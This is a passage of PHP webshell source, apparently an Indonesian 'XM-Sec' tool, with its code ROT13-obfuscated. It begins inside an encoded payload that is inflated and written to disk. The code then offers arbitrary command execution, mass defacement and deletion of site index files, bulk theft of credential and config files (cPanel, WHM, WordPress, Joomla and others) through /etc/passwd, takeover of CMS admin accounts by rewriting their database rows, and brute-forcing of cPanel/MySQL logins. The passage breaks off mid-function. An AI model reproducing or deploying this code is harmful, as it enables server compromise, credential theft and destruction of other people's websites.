ttqPfvPB6GumEHumE9rXVCwlBgWkYsImifLqxTUgSZA2kyvbm0cTk1jfzr8COkAV4wuY+JAQL68FGYDCm56UEj/UO0PvirENlZfWexXS0QJGfRwYHKtfMr7CVfUDD+Wm77v3unlWve0QRiw8v6ObyEBk1RYSYv8Ys31qfgp6fEZoBGvYhlHvCVfS4YJEbqfvOa2UnxcihtKzji7/0wo+PysEn81x4LUU7YvFl78yndqQgNx9FphsaMWHBEe7yLue6yTXNgfNjtGfWDg81+jCduYqz79pb8sQozwTkR1C11I9fnwrvltQk8sT4OgvCoDOqZtPp0SglROTDz7RHdx2IFnmn1UpsGv4snPnJaxsJ/ekhbwnuis3L2gAUkY7PkGne/Kxq9a+IU54CIK9GBncJ/obxgEU16nLlIX36qFad25hHHfY98XRJCYo/0Qe/2MtSw+1PgZ6SsfXP+ltzmyi8ZPI3Zom/FdX0e7yLvg0uVwfY4bapmZ/uXqk2dAyRyvh83bdKNwO5WvPBSwlqHx6UcORlYEE+1+ea7i32TdjdhxgqupqODcmotbmfhTpJ/X8q99mifPp765xs9LvwifHGz5/m/s/tc6m2s/iOmjZFldbw85+GCqq/QD4PYiAel0/h/4TcgbCSVUdsomUyzLLz1AveuO2vOWoVHIjA+qdywpbCVOUw8bcV1lkqV4S29n0upJ0aVI4omW6kXcUak+ve9YzwIXx8WRcObv6edZWDlRgrSWvv/cDd8SV9JdTcgIEy5XnSiP0NltkkX4O72HHOcpFdGDkQb59sYSQX50fWsH/RJZJhhPrliAutuMfGhdXvEPbQ4X5SlB9MXHIPXcqXgpQL3ebnRkQiVKo4TUtRzoKdRyCkQxpUP0pNNrUwlBfnzCGx1MFBiScLhQIctZP1n8w7VLP5Y8HUADpcSvc96k9cJbYpNUU5dzi8fz+He47HPxOSAEymMa18Nj04z7ot6NwfyevigUgsPJdCpZ40D6ZtHm1nCnv64qVEckyOG13hXfWqGQNlwsL/skW3JrGHyQCb08l0Ny3JH0xdaIZwSG1YcPV75hFIhJkrVeE0FQRqPehgKXhyMp7PaGWV5gaPHPSxMCrTOOpM1ey9zNHZ6WJ7EWlI8Iiu4k4MBvayWs9Jh5RA433xMwpJP9xWwpdADZo6Zv2mEQd7V2/aqt1Qq3ftbnh8WHQOshjxKZ5703B4x7gXTgAVdTPN7kJr5cMypbd+c9l5VakBkyURIWjJ/Ou62Jt1bb8lwWVKP9TdC+C0Ercu9QWUmMJEicU5w6QUgVtsqXnvAwIiRnFi3Fvr4LP35+/CYaZaiuMe2Y5XdyuOll/Iv+HddayB9ehaOOZCJPciPN5GPx+r4TgObwyU9Ec7zraUvRBnp61uAsrVODf9PEoi5t0wmU8axKsbjJNTU5YJZJKBVozI24mUgUx58IyPlxa0D8dbUmO457v3pgHhv4sD4fs8OhQvxylrIOnKFF2EA7C88de3Uj==';
$ypb = tmvasyngr(onfr64_qrpbqr($ype));
sjevgr($sc, $ypb);
spybfr($sc);
rpub "<n uers='$cngu/flz.cuc'>Flzyvax !!!</n>";
} ryfrvs($_TRG['qb'] == 'znvyre') {
rpub '<ue>
Znvyre Shapgvba : </sbag>'.$zye.'<oe><oe>
<sbez rapglcr="zhygvcneg/sbez-qngn" zrgubq="cbfg">
Znffntr  : <oe><grkgnern pynff="grkgnern" ebjf="10" pbyf="100" anzr ="pbx"></grkgnern></oe><oe>
Gnetrg : <vachg glcr="grkg" anzr ="znvy" cynprubyqre="abvfrpehfg@unpxreznvy.pbz"></oe>
<vachg glcr="fhozvg" anzr="pebg" inyhr="Xvevz">
</sbez>';
vs(vffrg($_CBFG['pebg'])) {     
$gb = $_CBFG['znvy'];    
$fhowrpg = "Crfna";    
$zrffntr = "" .$_CBFG['pbx'];     
vs(znvy($gb,$fhowrpg,$zrffntr)) {
rpub '<pragre>Grexvevz</pragre>'; 
} ryfr {
rpub 'Tntny :(';
}
}
} ryfrvs($_TRG['qb'] == 'pzq') {
	rpub "<sbez zrgubq='cbfg'>
	<sbag fglyr='grkg-qrpbengvba: haqreyvar;'>".$hfre."@".trgubfgolanzr($_FREIRE['UGGC_UBFG']).":~# </sbag>
	<vachg glcr='grkg' fvmr='30' urvtug='10' anzr='pzq'><vachg glcr='fhozvg' anzr='qb_pzq' inyhr='>>'>
	</sbez>";
	vs($_CBFG['qb_pzq']) {
		rpub "<cer>".rkr($_CBFG['pzq'])."</cer>";
	}
} ryfrvs($_TRG['qb'] == 'znff_qrsnpr') {
	shapgvba fnoha_znffny($qve,$anznsvyr,$vfv_fpevcg) {
		vs(vf_jevgnoyr($qve)) {
			$qven = fpnaqve($qve);
			sbernpu($qven nf $qveo) {
				$qvep = "$qve/$qveo";
				$ybxnfv = $qvep.'/'.$anznsvyr;
				vs($qveo === '.') {
					svyr_chg_pbagragf($ybxnfv, $vfv_fpevcg);
				} ryfrvs($qveo === '..') {
					svyr_chg_pbagragf($ybxnfv, $vfv_fpevcg);
				} ryfr {
					vs(vf_qve($qvep)) {
						vs(vf_jevgnoyr($qvep)) {
							rpub "[<sbag pbybe=yvzr>QBAR</sbag>] $ybxnfv<oe>";
							svyr_chg_pbagragf($ybxnfv, $vfv_fpevcg);
							$vqk = fnoha_znffny($qvep,$anznsvyr,$vfv_fpevcg);
						}
					}
				}
			}
		}
	}
	shapgvba fnoha_ovnfn($qve,$anznsvyr,$vfv_fpevcg) {
		vs(vf_jevgnoyr($qve)) {
			$qven = fpnaqve($qve);
			sbernpu($qven nf $qveo) {
				$qvep = "$qve/$qveo";
				$ybxnfv = $qvep.'/'.$anznsvyr;
				vs($qveo === '.') {
					svyr_chg_pbagragf($ybxnfv, $vfv_fpevcg);
				} ryfrvs($qveo === '..') {
					svyr_chg_pbagragf($ybxnfv, $vfv_fpevcg);
				} ryfr {
					vs(vf_qve($qvep)) {
						vs(vf_jevgnoyr($qvep)) {
							rpub "[<sbag pbybe=yvzr>QBAR</sbag>] $ybxnfv<oe>";
							svyr_chg_pbagragf($ybxnfv, $vfv_fpevcg);
						}
					}
				}
			}
		}
	}
	vs($_CBFG['fgneg']) {
		vs($_CBFG['gvcr_fnoha'] == 'znuny') {
			rpub "<qvi fglyr='znetva: 5ck nhgb; cnqqvat: 5ck'>";
			fnoha_znffny($_CBFG['q_qve'], $_CBFG['q_svyr'], $_CBFG['fpevcg']);
			rpub "</qvi>";
		} ryfrvs($_CBFG['gvcr_fnoha'] == 'zhenu') {
			rpub "<qvi fglyr='znetva: 5ck nhgb; cnqqvat: 5ck'>";
			fnoha_ovnfn($_CBFG['q_qve'], $_CBFG['q_svyr'], $_CBFG['fpevcg']);
			rpub "</qvi>";
		}
	} ryfr {
	rpub "<pragre>";
	rpub "<sbez zrgubq='cbfg'>
	<sbag fglyr='grkg-qrpbengvba: haqreyvar;'>Gvcr Fnoha:</sbag><oe>
	<vachg glcr='enqvb' anzr='gvcr_fnoha' inyhr='zhenu' purpxrq>Ovnfn<vachg glcr='enqvb' anzr='gvcr_fnoha' inyhr='znuny'>Znffny<oe>
	<sbag fglyr='grkg-qrpbengvba: haqreyvar;'>Sbyqre:</sbag><oe>
	<vachg glcr='grkg' anzr='q_qve' inyhr='$qve' fglyr='jvqgu: 450ck;' urvtug='10'><oe>
	<sbag fglyr='grkg-qrpbengvba: haqreyvar;'>Svyranzr:</sbag><oe>
	<vachg glcr='grkg' anzr='q_svyr' inyhr='vaqrk.cuc' fglyr='jvqgu: 450ck;' urvtug='10'><oe>
	<sbag fglyr='grkg-qrpbengvba: haqreyvar;'>Vaqrk Svyr:</sbag><oe>
	<grkgnern anzr='fpevcg' fglyr='jvqgu: 450ck; urvtug: 200ck;'>Unpxrq ol KM-Frp</grkgnern><oe>
	<vachg glcr='fhozvg' anzr='fgneg' inyhr='Znff Qrsnpr' fglyr='jvqgu: 450ck;'>
	</sbez></pragre>";
	}
} ryfrvs($_TRG['qb'] == 'znff_qryrgr') {
	shapgvba unchf_znffny($qve,$anznsvyr) {
		vs(vf_jevgnoyr($qve)) {
			$qven = fpnaqve($qve);
			sbernpu($qven nf $qveo) {
				$qvep = "$qve/$qveo";
				$ybxnfv = $qvep.'/'.$anznsvyr;
				vs($qveo === '.') {
					vs(svyr_rkvfgf("$qve/$anznsvyr")) {
						hayvax("$qve/$anznsvyr");
					}
				} ryfrvs($qveo === '..') {
					vs(svyr_rkvfgf("".qveanzr($qve)."/$anznsvyr")) {
						hayvax("".qveanzr($qve)."/$anznsvyr");
					}
				} ryfr {
					vs(vf_qve($qvep)) {
						vs(vf_jevgnoyr($qvep)) {
							vs(svyr_rkvfgf($ybxnfv)) {
								rpub "[<sbag pbybe=yvzr>QRYRGRQ</sbag>] $ybxnfv<oe>";
								hayvax($ybxnfv);
								$vqk = unchf_znffny($qvep,$anznsvyr);
							}
						}
					}
				}
			}
		}
	}
	vs($_CBFG['fgneg']) {
		rpub "<qvi fglyr='znetva: 5ck nhgb; cnqqvat: 5ck'>";
		unchf_znffny($_CBFG['q_qve'], $_CBFG['q_svyr']);
		rpub "</qvi>";
	} ryfr {
	rpub "<pragre>";
	rpub "<sbez zrgubq='cbfg'>
	<sbag fglyr='grkg-qrpbengvba: haqreyvar;'>Sbyqre:</sbag><oe>
	<vachg glcr='grkg' anzr='q_qve' inyhr='$qve' fglyr='jvqgu: 450ck;' urvtug='10'><oe>
	<sbag fglyr='grkg-qrpbengvba: haqreyvar;'>Svyranzr:</sbag><oe>
	<vachg glcr='grkg' anzr='q_svyr' inyhr='vaqrk.cuc' fglyr='jvqgu: 450ck;' urvtug='10'><oe>
	<vachg glcr='fhozvg' anzr='fgneg' inyhr='Znff Qryrgr' fglyr='jvqgu: 450ck;'>
	</sbez></pragre>";
	}
} ryfrvs($_TRG['qb'] == 'pbasvt') {
	$rgp = sbcra("/rgp/cnffjq", "e");
	$vqk = zxqve("vqk_pbasvt", 0777);
	$vfv_ugp = "Bcgvbaf nyy\aErdhver Abar\aFngvfsl Nal";
	$ugp = sbcra("vqk_pbasvt/.ugnpprff","j");
	sjevgr($ugp, $vfv_ugp);
	juvyr($cnffjq = strgf($rgp)) {
		vs($cnffjq == "" || !$rgp) {
			rpub "<sbag pbybe=erq>Pna'g ernq /rgp/cnffjq</sbag>";
		} ryfr {
			cert_zngpu_nyy('/(.*?):k:/', $cnffjq, $hfre_pbasvt);
			sbernpu($hfre_pbasvt[1] nf $hfre_vqk) {
				$hfre_pbasvt_qve = "/ubzr/$hfre_vqk/choyvp_ugzy/";
				vs(vf_ernqnoyr($hfre_pbasvt_qve)) {
					$teno_pbasvt = neenl(
						"/ubzr/$hfre_vqk/.zl.pas" => "pcnary",
						"/ubzr/$hfre_vqk/.npprffunfu" => "JUZ-npprffunfu",
						"/ubzr/$hfre_vqk/choyvp_ugzy/iqb_pbasvt.cuc" => "Ibbqbb",
						"/ubzr/$hfre_vqk/choyvp_ugzy/oj-pbasvtf/pbasvt.vav" => "ObfJro",
						"/ubzr/$hfre_vqk/choyvp_ugzy/pbasvt/xbarxfv.cuc" => "Ybxbzrqvn",
						"/ubzr/$hfre_vqk/choyvp_ugzy/ybxbzrqvn/pbasvt/xbarxfv.cuc" => "Ybxbzrqvn",
						"/ubzr/$hfre_vqk/choyvp_ugzy/pyvragnern/pbasvthengvba.cuc" => "JUZPF",
						"/ubzr/$hfre_vqk/choyvp_ugzy/juz/pbasvthengvba.cuc" => "JUZPF",
						"/ubzr/$hfre_vqk/choyvp_ugzy/juzpf/pbasvthengvba.cuc" => "JUZPF",
						"/ubzr/$hfre_vqk/choyvp_ugzy/sbehz/pbasvt.cuc" => "cucOO",
						"/ubzr/$hfre_vqk/choyvp_ugzy/fvgrf/qrsnhyg/frggvatf.cuc" => "Qehcny",
						"/ubzr/$hfre_vqk/choyvp_ugzy/pbasvt/frggvatf.vap.cuc" => "CerfgnFubc",
						"/ubzr/$hfre_vqk/choyvp_ugzy/ncc/rgp/ybpny.kzy" => "Zntragb",
						"/ubzr/$hfre_vqk/choyvp_ugzy/wbbzyn/pbasvthengvba.cuc" => "Wbbzyn",
						"/ubzr/$hfre_vqk/choyvp_ugzy/pbasvthengvba.cuc" => "Wbbzyn",
						"/ubzr/$hfre_vqk/choyvp_ugzy/jc/jc-pbasvt.cuc" => "JbeqCerff",
						"/ubzr/$hfre_vqk/choyvp_ugzy/jbeqcerff/jc-pbasvt.cuc" => "JbeqCerff",
						"/ubzr/$hfre_vqk/choyvp_ugzy/jc-pbasvt.cuc" => "JbeqCerff",
						"/ubzr/$hfre_vqk/choyvp_ugzy/nqzva/pbasvt.cuc" => "BcraPneg",
						"/ubzr/$hfre_vqk/choyvp_ugzy/fypbasvt.cuc" => "Fvgrybx",
						"/ubzr/$hfre_vqk/choyvp_ugzy/nccyvpngvba/pbasvt/qngnonfr.cuc" => "Ryyvfyno");
					sbernpu($teno_pbasvt nf $pbasvt => $anzn_pbasvt) {
						$nzovy_pbasvt = svyr_trg_pbagragf($pbasvt);
						vs($nzovy_pbasvt == '') {
						} ryfr {
							$svyr_pbasvt = sbcra("vqk_pbasvt/$hfre_vqk-$anzn_pbasvt.gkg","j");
							schgf($svyr_pbasvt,$nzovy_pbasvt);
						}
					}
				}		
			}
		}	
	}
	rpub "<pragre><n uers='?qve=$qve/vqk_pbasvt'><sbag pbybe=yvzr>Qbar</sbag></n></pragre>";
} ryfrvs($_TRG['qb'] == 'whzcvat') {
	$v = 0;
	rpub "<cer><qvi pynff='znetva: 5ck nhgb;'>";
	$rgp = sbcra("/rgp/cnffjq", "e");
	juvyr($cnffjq = strgf($rgp)) {
		vs($cnffjq == '' || !$rgp) {
			rpub "<sbag pbybe=erq>Pna'g ernq /rgp/cnffjq</sbag>";
		} ryfr {
			cert_zngpu_nyy('/(.*?):k:/', $cnffjq, $hfre_whzcvat);
			sbernpu($hfre_whzcvat[1] nf $hfre_vqk_whzc) {
				$hfre_whzcvat_qve = "/ubzr/$hfre_vqk_whzc/choyvp_ugzy";
				vs(vf_ernqnoyr($hfre_whzcvat_qve)) {
					$v++;
					$wej = "[<sbag pbybe=yvzr>E</sbag>] <n uers='?qve=$hfre_whzcvat_qve'><sbag pbybe=tbyq>$hfre_whzcvat_qve</sbag></n>";
					vs(vf_jevgnoyr($hfre_whzcvat_qve)) {
						$wej = "[<sbag pbybe=yvzr>EJ</sbag>] <n uers='?qve=$hfre_whzcvat_qve'><sbag pbybe=tbyq>$hfre_whzcvat_qve</sbag></n>";
					}
					rpub $wej;
					vs(shapgvba_rkvfgf('cbfvk_trgcjhvq')) {
						$qbznva_whzc = svyr_trg_pbagragf("/rgp/anzrq.pbas");	
						vs($qbznva_whzc == '') {
							rpub " => ( <sbag pbybe=erq>tnovfn nzovy anzn qbznva aln</sbag> )<oe>";
						} ryfr {
							cert_zngpu_nyy("#/ine/anzrq/(.*?).qo#", $qbznva_whzc, $qbznvaf_whzc);
							sbernpu($qbznvaf_whzc[1] nf $qw) {
								$hfre_whzcvat_hey = cbfvk_trgcjhvq(@svyrbjare("/rgp/inyvnfrf/$qw"));
								$hfre_whzcvat_hey = $hfre_whzcvat_hey['anzr'];
								vs($hfre_whzcvat_hey == $hfre_vqk_whzc) {
									rpub " => ( <h>$qw</h> )<oe>";
									oernx;
								}
							}
						}
					} ryfr {
						rpub "<oe>";
					}
				}
			}
		}
	}
	vs($v == 0) { 
	} ryfr {
		rpub "<oe>Gbgny nqn ".$v." Xnzne qv ".trgubfgolanzr($_FREIRE['UGGC_UBFG'])."";
	}
	rpub "</qvi></cer>";
} ryfrvs($_TRG['qb'] == 'nhgb_rqvg_hfre') {
	vs($_CBFG['unwne']) {
		vs(fgeyra($_CBFG['cnff_oneh']) < 6 BE fgeyra($_CBFG['hfre_oneh']) < 6) {
			rpub "hfreanzr ngnh cnffjbeq unehf yrovu qnev 6 xnenxgre";
		} ryfr {
			$hfre_oneh = $_CBFG['hfre_oneh'];
			$cnff_oneh = zq5($_CBFG['cnff_oneh']);
			$pbas = $_CBFG['pbasvt_qve'];
			$fpna_pbas = fpnaqve($pbas);
			sbernpu($fpna_pbas nf $svyr_pbas) {
				vs(!vf_svyr("$pbas/$svyr_pbas")) pbagvahr;
				$pbasvt = svyr_trg_pbagragf("$pbas/$svyr_pbas");
				vs(cert_zngpu("/WPbasvt|wbbzyn/",$pbasvt)) {
					$qoubfg = nzovyxngn($pbasvt,"ubfg = '","'");
					$qohfre = nzovyxngn($pbasvt,"hfre = '","'");
					$qocnff = nzovyxngn($pbasvt,"cnffjbeq = '","'");
					$qoanzr = nzovyxngn($pbasvt,"qo = '","'");
					$qocersvk = nzovyxngn($pbasvt,"qocersvk = '","'");
					$cersvk = $qocersvk."hfref";
					$pbaa = zlfdy_pbaarpg($qoubfg,$qohfre,$qocnff);
					$qo = zlfdy_fryrpg_qo($qoanzr);
					$d = zlfdy_dhrel("FRYRPG * SEBZ $cersvk BEQRE OL vq NFP");
					$erfhyg = zlfdy_srgpu_neenl($d);
					$vq = $erfhyg['vq'];
					$fvgr = nzovyxngn($pbasvt,"fvgranzr = '","'");
					$hcqngr = zlfdy_dhrel("HCQNGR $cersvk FRG hfreanzr='$hfre_oneh',cnffjbeq='$cnff_oneh' JURER vq='$vq'");
					rpub "Pbasvt => ".$svyr_pbas."<oe>";
					rpub "PZF => Wbbzyn<oe>";
					vs($fvgr == '') {
						rpub "Fvgranzr => <sbag pbybe=erq>reebe, tnovfn nzovy anzn qbznva aln</sbag><oe>";
					} ryfr {
						rpub "Fvgranzr => $fvgr<oe>";
					}
					vs(!$hcqngr BE !$pbaa BE !$qo) {
						rpub "Fgnghf => <sbag pbybe=erq>".zlfdy_reebe()."</sbag><oe><oe>";
					} ryfr {
						rpub "Fgnghf => <sbag pbybe=yvzr>fhxfrf rqvg hfre, fvynxna ybtva qratna hfre & cnff lnat oneh.</sbag><oe><oe>";
					}
					zlfdy_pybfr($pbaa);
				} ryfrvs(cert_zngpu("/JbeqCerff/",$pbasvt)) {
					$qoubfg = nzovyxngn($pbasvt,"QO_UBFG', '","'");
					$qohfre = nzovyxngn($pbasvt,"QO_HFRE', '","'");
					$qocnff = nzovyxngn($pbasvt,"QO_CNFFJBEQ', '","'");
					$qoanzr = nzovyxngn($pbasvt,"QO_ANZR', '","'");
					$qocersvk = nzovyxngn($pbasvt,"gnoyr_cersvk  = '","'");
					$cersvk = $qocersvk."hfref";
					$bcgvba = $qocersvk."bcgvbaf";
					$pbaa = zlfdy_pbaarpg($qoubfg,$qohfre,$qocnff);
					$qo = zlfdy_fryrpg_qo($qoanzr);
					$d = zlfdy_dhrel("FRYRPG * SEBZ $cersvk BEQRE OL vq NFP");
					$erfhyg = zlfdy_srgpu_neenl($d);
					$vq = $erfhyg[VQ];
					$d2 = zlfdy_dhrel("FRYRPG * SEBZ $bcgvba BEQRE OL bcgvba_vq NFP");
					$erfhyg2 = zlfdy_srgpu_neenl($d2);
					$gnetrg = $erfhyg2[bcgvba_inyhr];
					vs($gnetrg == '') {
						$hey_gnetrg = "Ybtva => <sbag pbybe=erq>reebe, tnovfn nzovy anzn qbznva alnn</sbag><oe>";
					} ryfr {
						$hey_gnetrg = "Ybtva => <n uers='$gnetrg/jc-ybtva.cuc' gnetrg='_oynax'><h>$gnetrg/jc-ybtva.cuc</h></n><oe>";
					}
					$hcqngr = zlfdy_dhrel("HCQNGR $cersvk FRG hfre_ybtva='$hfre_oneh',hfre_cnff='$cnff_oneh' JURER vq='$vq'");
					rpub "Pbasvt => ".$svyr_pbas."<oe>";
					rpub "PZF => Jbeqcerff<oe>";
					rpub $hey_gnetrg;
					vs(!$hcqngr BE !$pbaa BE !$qo) {
						rpub "Fgnghf => <sbag pbybe=erq>".zlfdy_reebe()."</sbag><oe><oe>";
					} ryfr {
						rpub "Fgnghf => <sbag pbybe=yvzr>fhxfrf rqvg hfre, fvynxna ybtva qratna hfre & cnff lnat oneh.</sbag><oe><oe>";
					}
					zlfdy_pybfr($pbaa);
				} ryfrvs(cert_zngpu("/Zntragb|Zntr_Pber/",$pbasvt)) {
					$qoubfg = nzovyxngn($pbasvt,"<ubfg><![PQNGN[","]]></ubfg>");
					$qohfre = nzovyxngn($pbasvt,"<hfreanzr><![PQNGN[","]]></hfreanzr>");
					$qocnff = nzovyxngn($pbasvt,"<cnffjbeq><![PQNGN[","]]></cnffjbeq>");
					$qoanzr = nzovyxngn($pbasvt,"<qoanzr><![PQNGN[","]]></qoanzr>");
					$qocersvk = nzovyxngn($pbasvt,"<gnoyr_cersvk><![PQNGN[","]]></gnoyr_cersvk>");
					$cersvk = $qocersvk."nqzva_hfre";
					$bcgvba = $qocersvk."pber_pbasvt_qngn";
					$pbaa = zlfdy_pbaarpg($qoubfg,$qohfre,$qocnff);
					$qo = zlfdy_fryrpg_qo($qoanzr);
					$d = zlfdy_dhrel("FRYRPG * SEBZ $cersvk BEQRE OL hfre_vq NFP");
					$erfhyg = zlfdy_srgpu_neenl($d);
					$vq = $erfhyg[hfre_vq];
					$d2 = zlfdy_dhrel("FRYRPG * SEBZ $bcgvba JURER cngu='jro/frpher/onfr_hey'");
					$erfhyg2 = zlfdy_srgpu_neenl($d2);
					$gnetrg = $erfhyg2[inyhr];
					vs($gnetrg == '') {
						$hey_gnetrg = "Ybtva => <sbag pbybe=erq>reebe, tnovfn nzovy anzn qbznva alnn</sbag><oe>";
					} ryfr {
						$hey_gnetrg = "Ybtva => <n uers='$gnetrg/nqzva/' gnetrg='_oynax'><h>$gnetrg/nqzva/</h></n><oe>";
					}
					$hcqngr = zlfdy_dhrel("HCQNGR $cersvk FRG hfreanzr='$hfre_oneh',cnffjbeq='$cnff_oneh' JURER hfre_vq='$vq'");
					rpub "Pbasvt => ".$svyr_pbas."<oe>";
					rpub "PZF => Zntragb<oe>";
					rpub $hey_gnetrg;
					vs(!$hcqngr BE !$pbaa BE !$qo) {
						rpub "Fgnghf => <sbag pbybe=erq>".zlfdy_reebe()."</sbag><oe><oe>";
					} ryfr {
						rpub "Fgnghf => <sbag pbybe=yvzr>fhxfrf rqvg hfre, fvynxna ybtva qratna hfre & cnff lnat oneh.</sbag><oe><oe>";
					}
					zlfdy_pybfr($pbaa);
				} ryfrvs(cert_zngpu("/UGGC_FREIRE|UGGC_PNGNYBT|QVE_PBASVT|QVE_FLFGRZ/",$pbasvt)) {
					$qoubfg = nzovyxngn($pbasvt,"'QO_UBFGANZR', '","'");
					$qohfre = nzovyxngn($pbasvt,"'QO_HFREANZR', '","'");
					$qocnff = nzovyxngn($pbasvt,"'QO_CNFFJBEQ', '","'");
					$qoanzr = nzovyxngn($pbasvt,"'QO_QNGNONFR', '","'");
					$qocersvk = nzovyxngn($pbasvt,"'QO_CERSVK', '","'");
					$cersvk = $qocersvk."hfre";
					$pbaa = zlfdy_pbaarpg($qoubfg,$qohfre,$qocnff);
					$qo = zlfdy_fryrpg_qo($qoanzr);
					$d = zlfdy_dhrel("FRYRPG * SEBZ $cersvk BEQRE OL hfre_vq NFP");
					$erfhyg = zlfdy_srgpu_neenl($d);
					$vq = $erfhyg[hfre_vq];
					$gnetrg = nzovyxngn($pbasvt,"UGGC_FREIRE', '","'");
					vs($gnetrg == '') {
						$hey_gnetrg = "Ybtva => <sbag pbybe=erq>reebe, tnovfn nzovy anzn qbznva alnn</sbag><oe>";
					} ryfr {
						$hey_gnetrg = "Ybtva => <n uers='$gnetrg' gnetrg='_oynax'><h>$gnetrg</h></n><oe>";
					}
					$hcqngr = zlfdy_dhrel("HCQNGR $cersvk FRG hfreanzr='$hfre_oneh',cnffjbeq='$cnff_oneh' JURER hfre_vq='$vq'");
					rpub "Pbasvt => ".$svyr_pbas."<oe>";
					rpub "PZF => BcraPneg<oe>";
					rpub $hey_gnetrg;
					vs(!$hcqngr BE !$pbaa BE !$qo) {
						rpub "Fgnghf => <sbag pbybe=erq>".zlfdy_reebe()."</sbag><oe><oe>";
					} ryfr {
						rpub "Fgnghf => <sbag pbybe=yvzr>fhxfrf rqvg hfre, fvynxna ybtva qratna hfre & cnff lnat oneh.</sbag><oe><oe>";
					}
					zlfdy_pybfr($pbaa);
				} ryfrvs(cert_zngpu("/cnattvy shatfv inyvqnfv kff qna vawrpgvba/",$pbasvt)) {
					$qoubfg = nzovyxngn($pbasvt,'freire = "','"');
					$qohfre = nzovyxngn($pbasvt,'hfreanzr = "','"');
					$qocnff = nzovyxngn($pbasvt,'cnffjbeq = "','"');
					$qoanzr = nzovyxngn($pbasvt,'qngnonfr = "','"');
					$cersvk = "hfref";
					$bcgvba = "vqragvgnf";
					$pbaa = zlfdy_pbaarpg($qoubfg,$qohfre,$qocnff);
					$qo = zlfdy_fryrpg_qo($qoanzr);
					$d = zlfdy_dhrel("FRYRPG * SEBZ $bcgvba BEQRE OL vq_vqragvgnf NFP");
					$erfhyg = zlfdy_srgpu_neenl($d);
					$gnetrg = $erfhyg[nynzng_jrofvgr];
					vs($gnetrg == '') {
						$gnetrg2 = $erfhyg[hey];
						$hey_gnetrg = "Ybtva => <sbag pbybe=erq>reebe, tnovfn nzovy anzn qbznva alnn</sbag><oe>";
						vs($gnetrg2 == '') {
							$hey_gnetrg2 = "Ybtva => <sbag pbybe=erq>reebe, tnovfn nzovy anzn qbznva alnn</sbag><oe>";
						} ryfr {
							$prx_ybtva3 = svyr_trg_pbagragf("$gnetrg2/nqzvajro/");
							$prx_ybtva4 = svyr_trg_pbagragf("$gnetrg2/ybxbzrqvn/nqzvajro/");
							vs(cert_zngpu("/PZF Ybxbzrqvn|Nqzvavfgengbe/", $prx_ybtva3)) {
								$hey_gnetrg2 = "Ybtva => <n uers='$gnetrg2/nqzvajro' gnetrg='_oynax'><h>$gnetrg2/nqzvajro</h></n><oe>";
							} ryfrvs(cert_zngpu("/PZF Ybxbzrqvn|Ybxbzrqvn/", $prx_ybtva4)) {
								$hey_gnetrg2 = "Ybtva => <n uers='$gnetrg2/ybxbzrqvn/nqzvajro' gnetrg='_oynax'><h>$gnetrg2/ybxbzrqvn/nqzvajro</h></n><oe>";
							} ryfr {
								$hey_gnetrg2 = "Ybtva => <n uers='$gnetrg2' gnetrg='_oynax'><h>$gnetrg2</h></n> [ <sbag pbybe=erq>tngnh nqzva ybtva aln qvznan :c</sbag> ]<oe>";
							}
						}
					} ryfr {
						$prx_ybtva = svyr_trg_pbagragf("$gnetrg/nqzvajro/");
						$prx_ybtva2 = svyr_trg_pbagragf("$gnetrg/ybxbzrqvn/nqzvajro/");
						vs(cert_zngpu("/PZF Ybxbzrqvn|Nqzvavfgengbe/", $prx_ybtva)) {
							$hey_gnetrg = "Ybtva => <n uers='$gnetrg/nqzvajro' gnetrg='_oynax'><h>$gnetrg/nqzvajro</h></n><oe>";
						} ryfrvs(cert_zngpu("/PZF Ybxbzrqvn|Ybxbzrqvn/", $prx_ybtva2)) {
							$hey_gnetrg = "Ybtva => <n uers='$gnetrg/ybxbzrqvn/nqzvajro' gnetrg='_oynax'><h>$gnetrg/ybxbzrqvn/nqzvajro</h></n><oe>";
						} ryfr {
							$hey_gnetrg = "Ybtva => <n uers='$gnetrg' gnetrg='_oynax'><h>$gnetrg</h></n> [ <sbag pbybe=erq>tngnh nqzva ybtva aln qvznan :c</sbag> ]<oe>";
						}
					}
					$hcqngr = zlfdy_dhrel("HCQNGR $cersvk FRG hfreanzr='$hfre_oneh',cnffjbeq='$cnff_oneh' JURER yriry='nqzva'");
					rpub "Pbasvt => ".$svyr_pbas."<oe>";
					rpub "PZF => Ybxbzrqvn<oe>";
					vs(cert_zngpu('/reebe, tnovfn nzovy anzn qbznva aln/', $hey_gnetrg)) {
						rpub $hey_gnetrg2;
					} ryfr {
						rpub $hey_gnetrg;
					}
					vs(!$hcqngr BE !$pbaa BE !$qo) {
						rpub "Fgnghf => <sbag pbybe=erq>".zlfdy_reebe()."</sbag><oe><oe>";
					} ryfr {
						rpub "Fgnghf => <sbag pbybe=yvzr>fhxfrf rqvg hfre, fvynxna ybtva qratna hfre & cnff lnat oneh.</sbag><oe><oe>";
					}
					zlfdy_pybfr($pbaa);
				}
			}
		}
	} ryfr {
		rpub "<pragre>
		<u1>Nhgb Rqvg Hfre Pbasvt</u1>
		<sbez zrgubq='cbfg'>
		QVE Pbasvt: <oe>
		<vachg glcr='grkg' fvmr='50' anzr='pbasvt_qve' inyhr='$qve'><oe><oe>
		Frg Hfre & Cnff: <oe>
		<vachg glcr='grkg' anzr='hfre_oneh' inyhr='abanzr110' cynprubyqre='hfre_oneh'><oe>
		<vachg glcr='grkg' anzr='cnff_oneh' inyhr='abanzr110' cynprubyqre='cnff_oneh'><oe>
		<vachg glcr='fhozvg' anzr='unwne' inyhr='Unwne!' fglyr='jvqgu: 215ck;'>
		</sbez>
		<fcna>AO: Gbbyf vav jbex wvxn qvwnynaxna qv qnynz sbyqre <h>pbasvt</h> ( rk: /ubzr/hfre/choyvp_ugzy/anzn_sbyqre_pbasvt )</fcna><oe>
		";
	}
} ryfrvs($_TRG['qb'] == 'pcnary') {
	vs($_CBFG['penpx']) {
		$hfrepc = rkcybqr("\e\a", $_CBFG['hfre_pc']);
		$cnffpc = rkcybqr("\e\a", $_CBFG['cnff_pc']);
		$v = 0;
		sbernpu($hfrepc nf $hpc) {
			sbernpu($cnffpc nf $cpc) {
				vs(@zlfdy_pbaarpg('ybpnyubfg', $hpc, $cpc)) {
					vs($_FRFFVBA[$hpc] && $_FRFFVBA[$cpc]) {
					} ryfr {
						$_FRFFVBA[$hpc] = "1";
						$_FRFFVBA[$cpc] = "1";
						vs($hpc == '' || $cpc == '') {
							
						} ryfr {
							$v++;
							vs(shapgvba_rkvfgf('cbfvk_trgcjhvq')) {
								$qbznva_pc = svyr_trg_pbagragf("/rgp/anzrq.pbas");	
								vs($qbznva_pc == '') {
									$qbz =  "<sbag pbybe=erq>tnovfn nzovy anzn qbznva aln</sbag>";
